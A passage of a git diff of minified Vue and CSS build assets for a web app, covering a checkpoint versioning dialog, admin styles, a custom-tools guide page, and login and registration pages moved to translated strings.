e}},w=e=>({added:"A",modified:"M",deleted:"D",renamed:"R"})[String(e||"").toLowerCase()]||String(e||"").toUpperCase().slice(0,1),S=e=>e==null?[""]:String(e).split(`
`);return(e,o)=>(a(),l("div",{class:"versioning-dialog",onClick:o[9]||(o[9]=N(t=>e.$emit("close"),["self"]))},[s("div",{class:"versioning-card",onClick:o[8]||(o[8]=(...t)=>e.closeScopeMenu&&e.closeScopeMenu(...t))},[s("header",O,[s("div",E,[s("h3",null,n(e.$t("common.versioning")),1),s("label",T,[s("input",{type:"checkbox",checked:i.enabled,disabled:i.loading,onChange:o[0]||(o[0]=t=>e.$emit("toggle-enabled",t.target.checked))},null,40,K),o[10]||(o[10]=s("span",{class:"switch"},null,-1)),s("span",R,n(i.enabled?e.$t("overlay.switchOn"):e.$t("overlay.switchOff")),1)])]),s("div",j,[s("button",{type:"button",class:"refresh-btn",disabled:i.loading,onClick:o[1]||(o[1]=t=>e.$emit("refresh"))},[s("span",{class:"icon icon-sm",style:D(b("refreshCw")),"aria-hidden":"true"},null,4),s("span",null,n(e.$t("overlay.refresh")),1)],8,I),L(z,{label:e.$t("common.close"),onClick:o[2]||(o[2]=t=>e.$emit("close"))},null,8,["label"])])]),s("div",U,[s("aside",W,[(a(!0),l(r,null,y(k.value,t=>(a(),l("button",{key:t.seq,type:"button",class:c(["checkpoint-item",{active:Number(i.selectedSeq)===Number(t.seq)}]),onClick:d=>e.$emit("select",t.seq)},[s("div",H,[s("span",J,"#"+n(t.seq),1),s("span",P,n(C(t.timestamp)),1)]),s("div",Q,n(t.message_preview||e.$t("overlay.emptyMessage")),1),s("div",X,[s("span",Y,"+"+n(t.insertions||0),1),s("span",Z,"-"+n(t.deletions||0),1),s("span",x,n(e.$t("overlay.filesCount",{n:t.files_changed||0})),1)])],10,G))),128)),i.items.length?m("",!0):(a(),l("div",ee,n(e.$t("overlay.noCheckpoints")),1))]),s("section",se,[i.detailLoading?(a(),l("div",te,n(e.$t("overlay.loadingDetail")),1)):i.detail?(a(),l(r,{key:1},[s("h4",null,n(e.$t("overlay.detailTitle",{seq:i.detail.seq})),1),s("div",oe,[s("span",ne,"+"+n(i.detail.insertions||0),1),s("span",ie,"-"+n(i.detail.deletions||0),1),s("span",ae,n(e.$t("overlay.filesCount",{n:i.detail.files_changed||0})),1)]),s("div",le,[(a(!0),l(r,null,y(i.detail.files||[],(t,d)=>(a(),l(r,{key:`${t.status}:${t.path}:${d}`},[s("div",{class:c(["file-row",{expanded:g(t,d)}]),onClick:u=>f(t,d)},[s("span",re,n(w(t.status)),1),s("span",ce,n(t.path),1),s("span",ue,[s("span",ve,"+"+n(t.insertions||0),1),s("span",he,"-"+n(t.deletions||0),1)])],10,de),g(t,d)?(a(),l("div",ye,[(t.patch_lines||[]).length?m("",!0):(a(),l("div",me,n(e.$t("overlay.noDiffLines")),1)),(a(!0),l(r,null,y(t.patch_lines||[],(u,$)=>(a(),l(r,{key:`line:${d}:${$}`},[(a(!0),l(r,null,y(S(u.content),(_,M)=>(a(),l("div",{key:`line:${d}:${$}:${M}`,class:c(["diff-line",u.type==="add"?"diff-add":u.type==="remove"?"diff-remove":"diff-context"])},[s("span",pe,n(u.type==="add"?"+":u.type==="remove"?"-":" "),1),s("span",ge,n(_),1)],2))),128))],64))),128)),t.patch_truncated?(a(),l("div",$e,n(e.$t("overlay.diffTruncated")),1)):m("",!0)])):m("",!0)],64))),128))])],64)):(a(),l("div",be,n(e.$t("overlay.selectCheckpoint")),1))])]),s("footer",ke,[s("div",fe,[s("div",Ce,[s("span",we,n(e.$t("overlay.restoreScope")),1),s("div",Se,[s("button",{type:"button",class:c(["restore-option-btn",{active:i.trackingMode==="conversation_only"}]),disabled:i.restoring,onClick:o[3]||(o[3]=t=>e.$emit("update:tracking-mode","conversation_only"))},n(e.$t("overlay.scopeConversationOnly")),11,_e),s("button",{type:"button",class:c(["restore-option-btn",{active:i.trackingMode==="workspace_and_conversation",disabled:!i.hostMode}]),disabled:i.restoring||!i.hostMode,onClick:o[4]||(o[4]=t=>e.$emit("update:tracking-mode","workspace_and_conversation"))},n(e.$t("overlay.scopeWorkspaceAndConversation")),11,Me)])]),s("div",qe,[s("span",Be,n(e.$t("overlay.restoreModeLabel")),1),s("div",De,[s("button",{type:"button",class:c(["restore-option-btn",{active:i.restoreMode==="overwrite"}]),disabled:i.restoring,onClick:o[5]||(o[5]=t=>e.$emit("update:restore-mode","overwrite"))},n(e.$t("overlay.modeOverwrite")),11,Le),s("button",{type:"button",class:c(["restore-option-btn",{active:i.restoreMode==="copy"}]),disabled:i.restoring,onClick:o[6]||(o[6]=t=>e.$emit("update:restore-mode","copy"))},n(e.$t("overlay.modeCopy")),11,Ne)])])]),s("button",{type:"button",class:"confirm-btn",disabled:!i.enabled||i.selectedSeq===null||i.selectedSeq===void 0||i.restoring,onClick:o[7]||(o[7]=t=>e.$emit("confirm"))},n(i.restoring?e.$t("overlay.restoring"):e.$t("overlay.confirmRestore")),9,Fe)])])]))}}),Te=A(Ve,[["__scopeId","data-v-a149e1f9"]]);export{Te as default};

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +1 @@
body{margin:0;background:#f7f3ea;font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,serif;color:#2a2013}#admin-api-app{min-height:100vh;padding:24px 32px 48px;box-sizing:border-box}.api-page[data-v-e3a0943c]{max-width:1400px;margin:0 auto;display:flex;flex-direction:column;gap:16px}.api-header[data-v-e3a0943c]{display:flex;justify-content:space-between;align-items:flex-start;gap:12px}.header-actions[data-v-e3a0943c]{display:flex;gap:10px;align-items:center}.panel[data-v-e3a0943c]{background:#f6ecda;border-radius:20px;padding:18px;border:1px solid rgba(118,103,84,.35);box-shadow:0 10px 22px #00000014}.metrics-grid[data-v-e3a0943c]{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:12px}.metric-card[data-v-e3a0943c]{background:#fffffff0;border-radius:16px;padding:14px;border:1px solid rgba(44,32,19,.12);box-shadow:inset 0 1px #fff9}.metric-card p[data-v-e3a0943c]{margin:0;color:#6b5b44;font-size:13px;letter-spacing:.05em}.metric-card strong[data-v-e3a0943c]{font-size:26px;display:block;margin-top:6px}.muted[data-v-e3a0943c]{color:#6b5b44}.muted.small[data-v-e3a0943c]{font-size:12px}.section-head[data-v-e3a0943c]{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}.create-form[data-v-e3a0943c]{display:flex;gap:8px;flex-wrap:wrap}.create-form input[data-v-e3a0943c]{padding:10px 12px;border-radius:12px;border:1px solid rgba(0,0,0,.12)}button[data-v-e3a0943c]{border:none;border-radius:12px;padding:10px 14px;background:var(--highlight);color:#2a2013;font-weight:600;cursor:pointer}.ghost-btn[data-v-e3a0943c]{background:transparent;border:1px dashed rgba(44,32,19,.35)}.table-wrapper[data-v-e3a0943c]{width:100%;overflow:auto}.table-wrapper.scrollable[data-v-e3a0943c]{max-height:320px}table[data-v-e3a0943c]{width:100%;border-collapse:collapse}th[data-v-e3a0943c],td[data-v-e3a0943c]{padding:10px;border-bottom:1px solid rgba(0,0,0,.08);text-align:left;font-size:14px}.token-cell[data-v-e3a0943c]{display:flex;align-items:center;gap:8px}.icon-btn[data-v-e3a0943c]{background:#ffffffe6;border:1px solid rgba(0,0,0,.12);border-radius:8px;padding:6px;cursor:pointer}.link.danger[data-v-e3a0943c]{background:transparent;color:#b5473d;border:1px solid rgba(181,71,61,.4)}.status-badge[data-v-e3a0943c]{display:inline-flex;align-items:center;padding:4px 8px;border-radius:10px;font-size:12px}.status-badge.online[data-v-e3a0943c]{background:#49a07826;color:#2f6b4f}.status-badge.offline[data-v-e3a0943c]{background:#0000000f;color:#5f5140}.status-badge.danger[data-v-e3a0943c]{background:#bd5d3a26;color:#b5473d}.upload-feed[data-v-e3a0943c]{list-style:none;padding:0;margin:0;display:flex;flex-direction:column;gap:10px}.upload-feed.scrollable[data-v-e3a0943c]{max-height:280px;overflow:auto}.upload-item[data-v-e3a0943c]{padding:10px;border-radius:12px;background:#ffffffeb;border:1px solid rgba(0,0,0,.06)}.grid[data-v-e3a0943c]{display:grid;grid-template-columns:repeat(auto-fit,minmax(320px,1fr));gap:14px}.error-text[data-v-e3a0943c]{color:#b5473d;margin-top:8px}
body{margin:0;background:#f7f3ea;font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,serif;color:#2a2013}#admin-api-app{min-height:100vh;padding:24px 32px 48px;box-sizing:border-box}.api-page[data-v-4f53a3c2]{max-width:1400px;margin:0 auto;display:flex;flex-direction:column;gap:16px}.api-header[data-v-4f53a3c2]{display:flex;justify-content:space-between;align-items:flex-start;gap:12px}.header-actions[data-v-4f53a3c2]{display:flex;gap:10px;align-items:center}.panel[data-v-4f53a3c2]{background:#f6ecda;border-radius:20px;padding:18px;border:1px solid rgba(118,103,84,.35);box-shadow:0 10px 22px #00000014}.metrics-grid[data-v-4f53a3c2]{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:12px}.metric-card[data-v-4f53a3c2]{background:#fffffff0;border-radius:16px;padding:14px;border:1px solid rgba(44,32,19,.12);box-shadow:inset 0 1px #fff9}.metric-card p[data-v-4f53a3c2]{margin:0;color:#6b5b44;font-size:13px;letter-spacing:.05em}.metric-card strong[data-v-4f53a3c2]{font-size:26px;display:block;margin-top:6px}.muted[data-v-4f53a3c2]{color:#6b5b44}.muted.small[data-v-4f53a3c2]{font-size:12px}.section-head[data-v-4f53a3c2]{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}.create-form[data-v-4f53a3c2]{display:flex;gap:8px;flex-wrap:wrap}.create-form input[data-v-4f53a3c2]{padding:10px 12px;border-radius:12px;border:1px solid rgba(0,0,0,.12)}button[data-v-4f53a3c2]{border:none;border-radius:12px;padding:10px 14px;background:var(--highlight);color:#2a2013;font-weight:600;cursor:pointer}.ghost-btn[data-v-4f53a3c2]{background:transparent;border:1px dashed rgba(44,32,19,.35)}.table-wrapper[data-v-4f53a3c2]{width:100%;overflow:auto}.table-wrapper.scrollable[data-v-4f53a3c2]{max-height:320px}table[data-v-4f53a3c2]{width:100%;border-collapse:collapse}th[data-v-4f53a3c2],td[data-v-4f53a3c2]{padding:10px;border-bottom:1px solid rgba(0,0,0,.08);text-align:left;font-size:14px}.token-cell[data-v-4f53a3c2]{display:flex;align-items:center;gap:8px}.icon-btn[data-v-4f53a3c2]{background:#ffffffe6;border:1px solid rgba(0,0,0,.12);border-radius:8px;padding:6px;cursor:pointer}.link.danger[data-v-4f53a3c2]{background:transparent;color:#b5473d;border:1px solid rgba(181,71,61,.4)}.status-badge[data-v-4f53a3c2]{display:inline-flex;align-items:center;padding:4px 8px;border-radius:10px;font-size:12px}.status-badge.online[data-v-4f53a3c2]{background:#49a07826;color:#2f6b4f}.status-badge.offline[data-v-4f53a3c2]{background:#0000000f;color:#5f5140}.status-badge.danger[data-v-4f53a3c2]{background:#bd5d3a26;color:#b5473d}.upload-feed[data-v-4f53a3c2]{list-style:none;padding:0;margin:0;display:flex;flex-direction:column;gap:10px}.upload-feed.scrollable[data-v-4f53a3c2]{max-height:280px;overflow:auto}.upload-item[data-v-4f53a3c2]{padding:10px;border-radius:12px;background:#ffffffeb;border:1px solid rgba(0,0,0,.06)}.grid[data-v-4f53a3c2]{display:grid;grid-template-columns:repeat(auto-fit,minmax(320px,1fr));gap:14px}.error-text[data-v-4f53a3c2]{color:#b5473d;margin-top:8px}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +1 @@
html{min-height:100%;background:radial-gradient(140% 120% at 20% 20%,rgba(239,229,214,.9),transparent),radial-gradient(120% 120% at 80% 0%,rgba(255,255,255,.9),transparent),#f8f3e8}#custom-tools-guide{min-height:100vh}.guide-page[data-v-87529767]{--paper: #ffffff;--border: #e3d8c8;--ink: #1a120b;--muted: #6f635a;--accent: var(--accent);--accent-strong: var(--accent-strong);--shadow: 0 16px 40px rgba(47, 32, 21, .12);max-width:1080px;margin:0 auto;padding:24px 16px 32px;font-family:Space Grotesk,Noto Sans SC,Inter,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,sans-serif;color:var(--ink)}.guide-header[data-v-87529767]{display:flex;justify-content:space-between;gap:12px;align-items:flex-start;margin-bottom:18px}.title-block h1[data-v-87529767]{margin:4px 0;color:#2f2015}.title-block .eyebrow[data-v-87529767]{letter-spacing:.12em;text-transform:uppercase;color:var(--muted);font-size:12px;margin:0}.title-block .desc[data-v-87529767]{margin:6px 0 0;color:var(--muted)}.actions .ghost[data-v-87529767]{padding:10px 16px;border-radius:12px;border:1px solid var(--border);background:#fffdf8;color:#4b3626;text-decoration:none;font-weight:600}.panel[data-v-87529767]{background:var(--paper);border:1px solid var(--border);border-radius:16px;box-shadow:var(--shadow);padding:18px}.status[data-v-87529767]{color:var(--muted)}.status.error[data-v-87529767]{color:var(--state-danger)}h1,h2,h3,h4{color:#2f2015;margin:20px 0 10px}p,li,code{color:var(--ink)}code{background:#fdf8ef;border:1px solid var(--border);border-radius:6px;padding:2px 6px;font-size:13px}pre{background:#0f172a;color:#f8fafc;border-radius:10px;padding:14px;overflow:auto}a{color:var(--accent-strong)}blockquote{border-left:3px solid var(--border);padding-left:12px;color:var(--muted)}table{border-collapse:collapse;width:100%;margin:12px 0}th,td{border:1px solid var(--border);padding:8px 10px}ul{padding-left:20px}
html{min-height:100%;background:radial-gradient(140% 120% at 20% 20%,rgba(239,229,214,.9),transparent),radial-gradient(120% 120% at 80% 0%,rgba(255,255,255,.9),transparent),#f8f3e8}#custom-tools-guide{min-height:100vh}.guide-page[data-v-a78d893f]{--paper: #ffffff;--border: #e3d8c8;--ink: #1a120b;--muted: #6f635a;--accent: var(--accent);--accent-strong: var(--accent-strong);--shadow: 0 16px 40px rgba(47, 32, 21, .12);max-width:1080px;margin:0 auto;padding:24px 16px 32px;font-family:Space Grotesk,Noto Sans SC,Inter,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,sans-serif;color:var(--ink)}.guide-header[data-v-a78d893f]{display:flex;justify-content:space-between;gap:12px;align-items:flex-start;margin-bottom:18px}.title-block h1[data-v-a78d893f]{margin:4px 0;color:#2f2015}.title-block .eyebrow[data-v-a78d893f]{letter-spacing:.12em;text-transform:uppercase;color:var(--muted);font-size:12px;margin:0}.title-block .desc[data-v-a78d893f]{margin:6px 0 0;color:var(--muted)}.actions .ghost[data-v-a78d893f]{padding:10px 16px;border-radius:12px;border:1px solid var(--border);background:#fffdf8;color:#4b3626;text-decoration:none;font-weight:600}.panel[data-v-a78d893f]{background:var(--paper);border:1px solid var(--border);border-radius:16px;box-shadow:var(--shadow);padding:18px}.status[data-v-a78d893f]{color:var(--muted)}.status.error[data-v-a78d893f]{color:var(--state-danger)}h1,h2,h3,h4{color:#2f2015;margin:20px 0 10px}p,li,code{color:var(--ink)}code{background:#fdf8ef;border:1px solid var(--border);border-radius:6px;padding:2px 6px;font-size:13px}pre{background:#0f172a;color:#f8fafc;border-radius:10px;padding:14px;overflow:auto}a{color:var(--accent-strong)}blockquote{border-left:3px solid var(--border);padding-left:12px;color:var(--muted)}table{border-collapse:collapse;width:100%;margin:12px 0}th,td{border:1px solid var(--border);padding:8px 10px}ul{padding-left:20px}

View File

@ -1,4 +1,4 @@
import{d as p,o as c,b as n,c as t,p as d,g as u,t as m,k as o,m as l}from"./runtime-dom.esm-bundler.js";import{r as y}from"./useMarkdownRenderer.js";import{_}from"./_plugin-vue_export-helper.js";const j=`# 自定义工具开发指南(非常详细|三层架构版)
import{d as u,o as m,l,m as o,c as s,f as n,t as e,j as r,p as y,q as _}from"./index.js";import{r as j}from"./useMarkdownRenderer.js";import{_ as h}from"./_plugin-vue_export-helper.js";const g=`# 自定义工具开发指南(非常详细|三层架构版)
适用对象**从零开始第一次上手** 的管理员
当前能力**仅支持 Python**且必须在容器内执行自定义工具仅管理员可见/可用
@ -500,4 +500,4 @@ print(len(text))
- 不提供强校验与沙箱策略自定义依赖现有容器执行与全局限制
- 图标字段已预留\`icon\`),但前端是否渲染取决于后续 UI 接入
`,h={class:"guide-page"},b={class:"panel"},g={key:0,class:"status error"},v={key:1,class:"status"},x=["innerHTML"],f=p({__name:"CustomToolsGuideApp",setup(k){const a=o(""),s=o(!0),e=o("");return c(()=>{try{a.value=y(j)}catch(r){e.value=r.message||"渲染指南失败"}finally{s.value=!1}}),(r,i)=>(n(),t("div",h,[i[0]||(i[0]=d('<header class="guide-header" data-v-87529767><div class="title-block" data-v-87529767><p class="eyebrow" data-v-87529767>Custom Tools</p><h1 data-v-87529767>开发指南</h1><p class="desc" data-v-87529767>如何编写、组织与调试自定义工具的完整说明。</p></div><div class="actions" data-v-87529767><a class="ghost" href="/admin/custom-tools" target="_blank" rel="noopener" data-v-87529767>返回列表</a></div></header>',1)),u("section",b,[e.value?(n(),t("div",g,m(e.value),1)):s.value?(n(),t("div",v,"加载中...")):(n(),t("article",{key:2,class:"markdown",innerHTML:a.value},null,8,x))])]))}}),S=_(f,[["__scopeId","data-v-87529767"]]);l(S).mount("#custom-tools-guide");
`,b={class:"guide-page"},f={class:"guide-header"},x={class:"title-block"},v={class:"desc"},T={class:"actions"},k={class:"ghost",href:"/admin/custom-tools",target:"_blank",rel:"noopener"},P={class:"panel"},S={key:0,class:"status error"},q={key:1,class:"status"},I=["innerHTML"],N=u({__name:"CustomToolsGuideApp",setup(E){const i=r(""),p=r(!0),a=r("");return m(()=>{try{i.value=j(g)}catch(t){a.value=t.message||l("adminCustomTools.renderFailed")}finally{p.value=!1}}),(t,c)=>(o(),s("div",b,[n("header",f,[n("div",x,[c[0]||(c[0]=n("p",{class:"eyebrow"},"Custom Tools",-1)),n("h1",null,e(t.$t("adminCustomTools.guide.title")),1),n("p",v,e(t.$t("adminCustomTools.guide.subtitle")),1)]),n("div",T,[n("a",k,e(t.$t("adminCustomTools.backToList")),1)])]),n("section",P,[a.value?(o(),s("div",S,e(a.value),1)):p.value?(o(),s("div",q,e(t.$t("common.loading")),1)):(o(),s("article",{key:2,class:"markdown",innerHTML:i.value},null,8,I))])]))}}),C=h(N,[["__scopeId","data-v-a78d893f"]]),d=y(C);_(d);d.mount("#custom-tools-guide");

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

53
demo/static/dist/assets/index.js vendored Normal file

File diff suppressed because one or more lines are too long

View File

@ -1 +1 @@
import{d as g,o as _,b as h,c as f,g as t,h as m,j as v,z as k,f as T,t as j,i as C,k as n,m as S}from"./runtime-dom.esm-bundler.js";import{a as V,l as L}from"./auth.js";const N={class:"auth-page"},x={class:"auth-card"},A={class:"auth-form-group"},B={class:"auth-form-group"},M=["disabled"],O=["disabled"],D={class:"auth-error"},E=g({__name:"LoginApp",setup(K){const l=n(""),r=n(""),s=n(""),i=n(!1),u=n(!1),c=n(!1),w=async(e="/")=>{if(!l.value||!r.value){s.value="请输入邮箱和密码";return}i.value=!0,s.value="";try{const a=await fetch("/login",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({email:l.value,password:r.value})});if(a.status===503){const d=await a.json().catch(()=>({}));s.value=d.error||"服务暂时不可用,请稍后重试";return}const o=await a.json();if(o.success){window.location.href=e;return}s.value=o.error||"登录失败"}catch{s.value="网络错误,请重试"}finally{i.value=!1}},p=()=>w("/"),b=async(e="/")=>{u.value=!0,s.value="";try{const a=await fetch("/host-login",{method:"POST"});if(a.status===503){const d=await a.json().catch(()=>({}));s.value=d.error||"资源繁忙,请稍后再试";return}const o=await a.json();if(o.success){window.location.href=e;return}s.value=o.error||"宿主机模式不可用"}catch{s.value="网络错误,请重试"}finally{u.value=!1}},y=()=>b("/");return _(async()=>{if(V(L()),window.ensureCsrfToken)try{await window.ensureCsrfToken()}catch{}try{const a=await(await fetch("/api/host-mode-enabled")).json();c.value=!!(a&&a.success&&a.enabled)}catch{c.value=!1}try{const a=await(await fetch("/api/session-status",{credentials:"same-origin"})).json()}catch(e){console.warn("[auth-debug] login page session-status failed:",e)}}),(e,a)=>(h(),f("main",N,[t("section",x,[a[4]||(a[4]=t("h1",{class:"auth-title"},"Astrion 登录",-1)),a[5]||(a[5]=t("p",{class:"auth-subtitle"},"使用账号继续访问工作台",-1)),t("div",A,[a[2]||(a[2]=t("label",{class:"auth-label",for:"email"},"邮箱",-1)),m(t("input",{id:"email","onUpdate:modelValue":a[0]||(a[0]=o=>l.value=o),type:"email",class:"auth-input",autocomplete:"email"},null,512),[[v,l.value,void 0,{trim:!0}]])]),t("div",B,[a[3]||(a[3]=t("label",{class:"auth-label",for:"password"},"密码",-1)),m(t("input",{id:"password","onUpdate:modelValue":a[1]||(a[1]=o=>r.value=o),type:"password",class:"auth-input",autocomplete:"current-password",onKeydown:k(p,["enter"])},null,544),[[v,r.value]])]),t("button",{class:"auth-button",disabled:i.value,onClick:p},"登录",8,M),c.value?(h(),f("button",{key:0,class:"auth-secondary-button",disabled:u.value,onClick:y}," 宿主机模式(免登录) ",8,O)):T("",!0),t("div",D,j(s.value),1),a[6]||(a[6]=t("div",{class:"auth-link"},[C("还没有账号?"),t("a",{href:"/register"},"点击注册")],-1))])]))}});S(E).mount("#auth-app");
import{d as T,o as j,m,c as _,f as e,t as l,u as r,l as t,g as w,i as g,A as C,e as S,h as A,j as i,p as L}from"./index.js";import{a as M,l as N}from"./auth.js";const U={class:"auth-page"},V={class:"auth-card"},B={class:"auth-title"},E={class:"auth-subtitle"},x={class:"auth-form-group"},O={class:"auth-label",for:"email"},P={class:"auth-form-group"},R={class:"auth-label",for:"password"},D=["disabled"],K=["disabled"],q={class:"auth-error"},F={class:"auth-link"},H={href:"/register"},J=T({__name:"LoginApp",setup(z){const u=i(""),c=i(""),s=i(""),d=i(!1),h=i(!1),p=i(!1),y=async(o="/")=>{if(!u.value||!c.value){s.value=t("auth.emailAndPasswordRequired");return}d.value=!0,s.value="";try{const a=await fetch("/login",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({email:u.value,password:c.value})});if(a.status===503){const v=await a.json().catch(()=>({}));s.value=v.error||t("auth.serviceUnavailable");return}const n=await a.json();if(n.success){window.location.href=o;return}s.value=n.error||t("auth.loginFailed")}catch{s.value=t("auth.networkErrorRetry")}finally{d.value=!1}},f=()=>y("/"),b=async(o="/")=>{h.value=!0,s.value="";try{const a=await fetch("/host-login",{method:"POST"});if(a.status===503){const v=await a.json().catch(()=>({}));s.value=v.error||t("auth.resourceBusy");return}const n=await a.json();if(n.success){window.location.href=o;return}s.value=n.error||t("auth.hostModeUnavailable")}catch{s.value=t("auth.networkErrorRetry")}finally{h.value=!1}},k=()=>b("/");return j(async()=>{if(M(N()),window.ensureCsrfToken)try{await window.ensureCsrfToken()}catch{}try{const a=await(await fetch("/api/host-mode-enabled")).json();p.value=!!(a&&a.success&&a.enabled)}catch{p.value=!1}try{const a=await(await fetch("/api/session-status",{credentials:"same-origin"})).json()}catch(o){console.warn("[auth-debug] login page session-status failed:",o)}}),(o,a)=>(m(),_("main",U,[e("section",V,[e("h1",B,l(r(t)("auth.loginTitle")),1),e("p",E,l(r(t)("auth.loginSubtitle")),1),e("div",x,[e("label",O,l(r(t)("auth.email")),1),w(e("input",{id:"email","onUpdate:modelValue":a[0]||(a[0]=n=>u.value=n),type:"email",class:"auth-input",autocomplete:"email"},null,512),[[g,u.value,void 0,{trim:!0}]])]),e("div",P,[e("label",R,l(r(t)("auth.password")),1),w(e("input",{id:"password","onUpdate:modelValue":a[1]||(a[1]=n=>c.value=n),type:"password",class:"auth-input",autocomplete:"current-password",onKeydown:C(f,["enter"])},null,544),[[g,c.value]])]),e("button",{class:"auth-button",disabled:d.value,onClick:f},l(r(t)("auth.login")),9,D),p.value?(m(),_("button",{key:0,class:"auth-secondary-button",disabled:h.value,onClick:k},l(r(t)("auth.hostModeNoLogin")),9,K)):S("",!0),e("div",q,l(s.value),1),e("div",F,[A(l(r(t)("auth.noAccount")),1),e("a",H,l(r(t)("auth.signUp")),1)])])]))}});L(J).mount("#auth-app");

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +1 @@
import{d as f,o as h,b as w,c as g,g as t,h as d,j as p,z as c,t as y,i as b,k as o,m as T}from"./runtime-dom.esm-bundler.js";import{a as k,l as C}from"./auth.js";const V={class:"auth-page"},x={class:"auth-card"},_={class:"auth-form-group"},j={class:"auth-form-group"},U={class:"auth-form-group"},B={class:"auth-form-group"},K=["disabled"],N={class:"auth-error"},S=f({__name:"RegisterApp",setup(A){const n=o(""),i=o(""),r=o(""),u=o(""),l=o(""),m=o(!1),v=async()=>{if(!n.value||!i.value||!r.value||!u.value){l.value="请完整填写所有字段";return}m.value=!0,l.value="";try{const e=await(await fetch("/register",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({username:n.value,email:i.value,password:r.value,invite_code:u.value})})).json();if(e.success){window.location.href="/login";return}l.value=e.error||"注册失败"}catch{l.value="网络错误,请稍后再试"}finally{m.value=!1}};return h(async()=>{if(k(C()),window.ensureCsrfToken)try{await window.ensureCsrfToken()}catch{}try{const e=await(await fetch("/api/session-status",{credentials:"same-origin"})).json()}catch(s){console.warn("[auth-debug] register page session-status failed:",s)}}),(s,e)=>(w(),g("main",V,[t("section",x,[e[8]||(e[8]=t("h1",{class:"auth-title"},"创建账号",-1)),e[9]||(e[9]=t("p",{class:"auth-subtitle"},"完成注册后即可登录使用",-1)),t("div",_,[e[4]||(e[4]=t("label",{class:"auth-label",for:"username"},"用户名",-1)),d(t("input",{id:"username","onUpdate:modelValue":e[0]||(e[0]=a=>n.value=a),type:"text",class:"auth-input",placeholder:"仅限小写字母/数字/下划线",autocomplete:"username"},null,512),[[p,n.value,void 0,{trim:!0}]])]),t("div",j,[e[5]||(e[5]=t("label",{class:"auth-label",for:"email"},"邮箱",-1)),d(t("input",{id:"email","onUpdate:modelValue":e[1]||(e[1]=a=>i.value=a),type:"email",class:"auth-input",autocomplete:"email"},null,512),[[p,i.value,void 0,{trim:!0}]])]),t("div",U,[e[6]||(e[6]=t("label",{class:"auth-label",for:"password"},"密码",-1)),d(t("input",{id:"password","onUpdate:modelValue":e[2]||(e[2]=a=>r.value=a),type:"password",class:"auth-input",autocomplete:"new-password",onKeydown:c(v,["enter"])},null,544),[[p,r.value]])]),t("div",B,[e[7]||(e[7]=t("label",{class:"auth-label",for:"invite"},"邀请码",-1)),d(t("input",{id:"invite","onUpdate:modelValue":e[3]||(e[3]=a=>u.value=a),type:"text",class:"auth-input",placeholder:"必填",autocomplete:"off",onKeydown:c(v,["enter"])},null,544),[[p,u.value,void 0,{trim:!0}]])]),t("button",{class:"auth-button",disabled:m.value,onClick:v},"注册",8,K),t("div",N,y(l.value),1),e[10]||(e[10]=t("div",{class:"auth-link"},[b("已有账号?"),t("a",{href:"/login"},"返回登录")],-1))])]))}});T(S).mount("#auth-app");
import{d as w,o as g,m as y,c as b,f as e,t as o,u as s,l as t,g as p,i as m,A as f,h as T,j as i,p as k}from"./index.js";import{a as C,l as A}from"./auth.js";const V={class:"auth-page"},x={class:"auth-card"},j={class:"auth-title"},U={class:"auth-subtitle"},B={class:"auth-form-group"},D={class:"auth-label",for:"username"},K=["placeholder"],N={class:"auth-form-group"},P={class:"auth-label",for:"email"},S={class:"auth-form-group"},E={class:"auth-label",for:"password"},F={class:"auth-form-group"},M={class:"auth-label",for:"invite"},O=["placeholder"],R=["disabled"],q={class:"auth-error"},H={class:"auth-link"},J={href:"/login"},L=w({__name:"RegisterApp",setup(z){const u=i(""),d=i(""),c=i(""),h=i(""),r=i(""),v=i(!1),_=async()=>{if(!u.value||!d.value||!c.value||!h.value){r.value=t("auth.fillAllFields");return}v.value=!0,r.value="";try{const a=await(await fetch("/register",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({username:u.value,email:d.value,password:c.value,invite_code:h.value})})).json();if(a.success){window.location.href="/login";return}r.value=a.error||t("auth.registerFailed")}catch{r.value=t("auth.networkErrorRetry")}finally{v.value=!1}};return g(async()=>{if(C(A()),window.ensureCsrfToken)try{await window.ensureCsrfToken()}catch{}try{const a=await(await fetch("/api/session-status",{credentials:"same-origin"})).json()}catch(n){console.warn("[auth-debug] register page session-status failed:",n)}}),(n,a)=>(y(),b("main",V,[e("section",x,[e("h1",j,o(s(t)("auth.createAccount")),1),e("p",U,o(s(t)("auth.registerDoneHint")),1),e("div",B,[e("label",D,o(s(t)("auth.username")),1),p(e("input",{id:"username","onUpdate:modelValue":a[0]||(a[0]=l=>u.value=l),type:"text",class:"auth-input",placeholder:s(t)("auth.usernamePlaceholder"),autocomplete:"username"},null,8,K),[[m,u.value,void 0,{trim:!0}]])]),e("div",N,[e("label",P,o(s(t)("auth.email")),1),p(e("input",{id:"email","onUpdate:modelValue":a[1]||(a[1]=l=>d.value=l),type:"email",class:"auth-input",autocomplete:"email"},null,512),[[m,d.value,void 0,{trim:!0}]])]),e("div",S,[e("label",E,o(s(t)("auth.password")),1),p(e("input",{id:"password","onUpdate:modelValue":a[2]||(a[2]=l=>c.value=l),type:"password",class:"auth-input",autocomplete:"new-password",onKeydown:f(_,["enter"])},null,544),[[m,c.value]])]),e("div",F,[e("label",M,o(s(t)("auth.inviteCode")),1),p(e("input",{id:"invite","onUpdate:modelValue":a[3]||(a[3]=l=>h.value=l),type:"text",class:"auth-input",placeholder:s(t)("auth.requiredPlaceholder"),autocomplete:"off",onKeydown:f(_,["enter"])},null,40,O),[[m,h.value,void 